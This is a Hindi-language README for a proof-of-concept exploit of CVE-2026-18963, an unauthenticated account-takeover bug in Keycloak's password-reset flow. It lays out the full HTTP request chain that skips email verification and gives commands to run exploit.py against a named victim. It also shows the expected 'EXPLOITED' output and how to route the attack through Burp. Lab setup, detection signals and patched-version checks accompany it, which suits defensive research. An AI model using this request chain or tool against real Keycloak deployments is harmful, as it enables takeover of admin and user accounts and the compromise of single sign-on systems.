
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2026-18963 के लिए, एक गंभीर Keycloak reset-credentials बाईपास जो बिना प्रमाणीकरण के खाता अधिग्रहण सक्षम करता है। इसमें लैब सेटअप, डिटेक्शन मार्गदर्शन, और अधिकृत परीक्षण के लिए रेमेडिएशन चरण शामिल हैं।
बिना प्रमाणीकरण के खाता अधिग्रहण Keycloak के reset-credentials फ्लो में। एक हमलावर जो केवल यूज़रनेम/ईमेल जानता है, किसी भी उपयोगकर्ता का पासवर्ड रीसेट कर सकता है — एडमिन सहित — बिना कभी सत्यापन ईमेल प्राप्त किए।
यह प्रूफ-ऑफ-कॉन्सेप्ट केवल शैक्षिक उद्देश्यों, रक्षात्मक अनुसंधान, डिटेक्शन इंजीनियरिंग और अधिकृत सुरक्षा परीक्षण के लिए प्रकाशित किया गया है।
पूरा विवरण DISCLAIMER.md में देखें।
| CVE | CVE-2026-18963 |
| गंभीरता | Critical — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| कमज़ोरी | CWE-640 — कमज़ोर पासवर्ड पुनर्प्राप्ति तंत्र |
| प्रभावित | Keycloak < 26.7.2 (अपस्ट्रीम)। साथ ही RH बिल्ड स्ट्रीम 26.6.6 / 26.4.15 बंडलों के माध्यम से ठीक की गईं |
| फिक्स | Keycloak 26.7.2 (PR #51844) |
| पूर्वापेक्षाएँ | रिएल्म में Forgot password (reset credentials) सक्षम — डिफ़ॉल्ट |
| प्रभाव | किसी भी उपयोगकर्ता (रिएल्म एडमिन सहित) का पूर्ण खाता अधिग्रहण → IdP समझौता + पार्श्व SSO पहुँच |
पासवर्ड-रीसेट (reset-credentials) फ्लो सामान्यतः आपको नया पासवर्ड सेट करने से पहले खाता स्वामी को ईमेल किए गए लिंक पर क्लिक करने के लिए बाध्य करता है। दो दोष एक हमलावर को उस जाँच को पूरी तरह से छोड़ने देते हैं:
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" को execution ID से स्कोप किए बिना संग्रहीत करता है। फ्लो में पुनः प्रवेश करने से प्रमाणीकरण सत्र भ्रमित/पुरानी (stale) स्थिति में रह जाता है।ResetCredentialEmail.action() ACTION_TOKEN_USER_ID को सत्यापित किए बिना context.success() को कॉल करता है (अर्थात यह पुष्टि किए बिना कि ईमेल किया गया एक्शन टोकन वास्तव में उपयोग हो चुका है)।इन्हें जोड़ने पर प्रमाणीकरण सत्र सीधे किसी भी उपयोगकर्ता के लिए UPDATE_PASSWORD चरण पर पहुँच जाता है, बिना किसी ईमेल की आवश्यकता के।
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
एनोटेटेड पैच डिफ के लिए docs/ROOTCAUSE.md देखें।
आपको Docker और Python 3 चाहिए जिसमें requests हो।
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
अपेक्षित अंतिम आउटपुट:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
फिर अधिग्रहण की पुष्टि करने के लिए victim / Pwned-2026! के रूप में लॉगिन करें।
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
प्रत्येक HTTP प्रतिक्रिया निरीक्षण के लिए ./dump/ में लिखी जाती है।
Keycloak पहले से 8080 का उपयोग करता है, इसलिए Burp के लिसनर को किसी अन्य पोर्ट (जैसे 8081) पर इंगित करें:
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
Burp Repeater के लिए रॉ रिक्वेस्ट चेन requests/burp-chain.txt में है।
उस पासवर्ड परिवर्तन की तलाश करें जो उसी प्रमाणीकरण सत्र में ईमेल सत्यापन से पहले नहीं हुआ हो:
VERIFY_EMAIL / EXECUTE_ACTION_TOKEN के बिना एक UPDATE_PASSWORD घटना।tryAnotherWay=on ले जाने वाले reset-credentials अनुरोधों के बर्स्ट।tab_id के लिए login-actions/reset-credentials में कई पुनः प्रविष्टियाँ।एक पूर्ण रन CVE-2026-18963.mp4 में रिकॉर्ड किया गया है (रिपॉज़िटरी रूट में)।
श्रृंखला की पुष्टि सार्वजनिक Keycloak पैच (PR #51844) और समुदाय के राइट-अप के विरुद्ध की गई है।
MIT © red-darkin — केवल शैक्षिक और अधिकृत परीक्षण उपयोग के लिए।